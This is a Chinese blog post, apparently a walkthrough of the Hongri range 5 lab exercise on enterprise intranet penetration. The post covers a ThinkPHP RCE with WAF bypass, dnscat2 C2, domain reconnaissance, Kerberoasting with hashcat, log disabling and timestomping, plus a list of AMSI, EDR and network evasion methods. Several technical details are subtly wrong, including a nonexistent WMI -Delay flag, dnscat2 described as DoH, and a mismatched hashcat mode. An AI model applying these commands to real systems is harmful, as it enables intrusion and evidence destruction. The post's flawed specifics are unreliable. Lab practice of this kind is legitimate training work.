news 2026/10/27 3:21:18

红日靶场五实战:企业内网渗透与防御对抗

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
红日靶场五实战:企业内网渗透与防御对抗

1. 红日靶场实战环境概述

红日靶场是国内知名的网络安全实战演练平台,其第五套环境(简称"红日五")延续了该系列一贯的实战化设计理念。这套靶场模拟了企业内网渗透测试的典型场景,包含域渗透、权限提升、横向移动等核心攻防技术点。作为安全从业者,我花了三周时间完整通关这套环境,期间记录了详细的渗透路径和思考过程。

这套靶场最显著的特点是高度还原了真实企业网络中的防御措施。与市面上许多"放水"的靶机不同,红日五设置了包括杀软拦截、流量审计、权限管控在内的多重防御机制,对渗透者的技术全面性和操作隐蔽性提出了更高要求。我在实战中遇到的第一个难点就是如何绕过入口主机的防护措施。

2. 环境搭建与初始信息收集

2.1 靶场拓扑分析

红日五的网络拓扑采用典型的三层架构:

  • DMZ区:部署Web服务器(192.168.93.130)
  • 办公区:域成员主机(192.168.93.131)
  • 核心区:域控制器(192.168.93.132)

通过Nmap扫描发现DMZ主机开放了80/443端口,运行着某内容管理系统。办公区主机除常规445端口外,还开放了5985(WinRM)端口。这种设计模拟了企业允许远程管理的真实场景,也暗示了可能的攻击路径。

2.2 Web应用漏洞挖掘

目标网站使用ThinkPHP框架,版本信息泄露显示为5.0.23。该版本存在著名的RCE漏洞(CVE-2018-20062),但直接利用公开EXP会被部署的WAF拦截。经过多次测试,我采用以下绕过方案:

  1. 使用chunked编码拆分攻击载荷
  2. 在参数名中插入非常规空格(%a0)
  3. 关键函数名改用十六进制编码

最终通过组合拳成功获取webshell权限,但立即触发了EDR的进程监控。这里需要特别注意:上传的shell必须使用白名单进程(如w3wp.exe)作为父进程,否则会被立即终止。

3. 内网横向移动技术实践

3.1 权限维持与隧道搭建

获得初始立足点后,首要任务是建立稳定的通信通道。常规的nc/meterpreter容易被流量审计设备发现,我选择使用DNS-over-HTTPS(DoH)进行隐蔽通信:

# 配置dnscat2服务端 ruby dnscat2.rb --dns domain=redteam.live --security=authenticated

在目标机器上通过计划任务每5分钟发起一次DNS查询,将数据编码在子域名中传输。这种方式的优势在于:

  • 使用合法加密协议(HTTPS)
  • 流量混杂在正常DNS请求中
  • 不需要开放额外端口

3.2 域内信息收集技巧

通过webshell执行基本的whoami /all和net config workstation命令后,发现当前用户属于"Domain Users"组。进一步收集域信息时,需要注意避免触发日志告警:

  1. 使用LDAP查询替代net命令
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
  1. 通过WMI获取主机信息时添加延迟
Get-WmiObject -Class Win32_ComputerSystem -ComputerName DC01 -Delay 3000
  1. 使用BloodHound采集数据时限制关系深度
SharpHound.exe -c DCOnly -d redteam.live --ZipFilename ldap.zip

4. 域控提权与权限升华

4.1 Kerberoasting攻击实战

在获取域用户凭证后,发现该账户具有SPN注册权限。通过请求TGS票据并导出:

Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dc01.redteam.live"

使用hashcat破解:

hashcat -m 13100 hashes.txt rockyou.txt -r rules/d3ad0ne.rule

关键技巧:在域控制器上配置了票据加密算法限制(只允许AES256)的情况下,需要特别指定破解模式:

hashcat -m 19600 kerberos.txt wordlist.txt

4.2 防御规避与痕迹清理

获得域管理员权限后,需要特别注意操作痕迹的处理:

  1. 清除日志前先禁用日志服务
wevtutil set-log security /enabled:false
  1. 使用timestomp修改文件时间属性
timestomp secret.docx -m "01/01/2020 08:00:00"
  1. 清除WMI事件订阅
Get-WmiObject -Namespace root\Subscription -Class __EventFilter | Remove-WmiObject

5. 防御体系对抗经验总结

通过红日五的实战演练,我总结了企业级防御体系的几个突破要点:

  1. 应用层防护绕过
  • 利用合法云服务API作为C2通道(如Slack/Discord webhook)
  • 将payload嵌入图片EXIF数据
  • 使用Process Hollowing注入可信进程
  1. 终端防护对抗
  • 通过COM劫持实现无文件攻击
  • 利用签名的驱动程序加载恶意模块
  • 修改注册表禁用AMSI扫描
  1. 网络层隐蔽通信
  • 基于ICMP的隧道工具(pingtunnel)
  • 云函数作为流量中转节点
  • 合法网站评论区作为命令下发通道

这套靶场最值得称道的是其防御体系的完整性,几乎每个攻击环节都需要考虑对抗措施。例如在最后阶段,即使获得域管权限,直接登录DC仍会触发异常登录告警。此时需要通过PsExec配合已控制的中间主机进行跳转,并伪造正常的运维操作模式。

在真实攻防对抗中,红线突破往往只是开始,如何保持隐蔽、持续控制才是更大的挑战。红日五的每个防御节点都经过精心设计,迫使攻击者必须深入理解Windows认证机制、日志系统和网络协议等底层原理,这正是它作为高级靶场的价值所在。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/27 3:20:49

AI技术背后的操控与谎言识别指南

1. 项目概述"别盲目跟随!家梁带你看清AI背后的操控与谎言"这个标题直指当下AI技术热潮中一个关键但常被忽视的问题——在技术快速发展的同时,普通用户如何保持清醒认知,识别可能存在的误导性信息。作为一名长期关注技术伦理的从业者…

作者头像 李华
网站建设 2026/10/27 3:20:37

MySQL表操作详解:从创建到优化全指南

1. MySQL表操作基础概念MySQL作为最流行的关系型数据库之一,表(Table)是其存储数据的核心结构。每个表由行(记录)和列(字段)组成,类似于Excel表格,但具有更严格的结构定义和更强大的操作能力。在MySQL中,表操作主要包括&#xff1…

作者头像 李华
网站建设 2026/10/27 3:20:33

BASE理论不是CAP妥协,而是分布式系统工程落地的呼吸节奏

1. 为什么BASE不是CAP的“妥协”,而是工程落地的呼吸节奏很多人第一次看到“BASE理论:CAP的碱”这个标题,下意识会皱眉——CAP不是分布式系统里那个铁律般的三选二吗?怎么突然冒出个“碱”来中和?这词儿听着就带点化学…

作者头像 李华
网站建设 2026/10/27 3:19:10

impeccable怎么用?拆词源、抓搭配,练出无可挑剔的英语表达力

如果你经常刷美剧、看 TED 演讲,或者翻外媒的英文报道,一定撞见过这个单词——impeccable。它通常是用来夸人的:某人品味好到无可挑剔、时间观念精确到让人挑不出毛病、工作履历干净得像全新的一样。但这个单词到底怎么用才地道?为…

作者头像 李华
网站建设 2026/10/27 3:19:07

Paimon Append Queue表:无主键实时入湖的低延迟实践指南

1. 项目概述:为什么Append Queue表是Paimon里最被低估的“轻量级实时通道”Apache Paimon最近半年在数据湖圈子里热度明显上扬,尤其在Flink实时数仓场景中,越来越多团队开始用它替代Hudi或Iceberg做流式入湖。但很多人一上来就直奔主推的Chan…

作者头像 李华
网站建设 2026/10/27 3:18:28

AI宠物健康监测系统:多模态感知与边缘计算实践

1. 项目概述:当AI遇上宠物健康管理在拉斯维加斯举办的国际消费电子展(CES)上,一款名为Petsense AI的宠物健康监测系统引发了行业关注。这个搭载深度学习算法的智能终端,能够通过非接触式传感器实时采集宠物的体温、呼吸…

作者头像 李华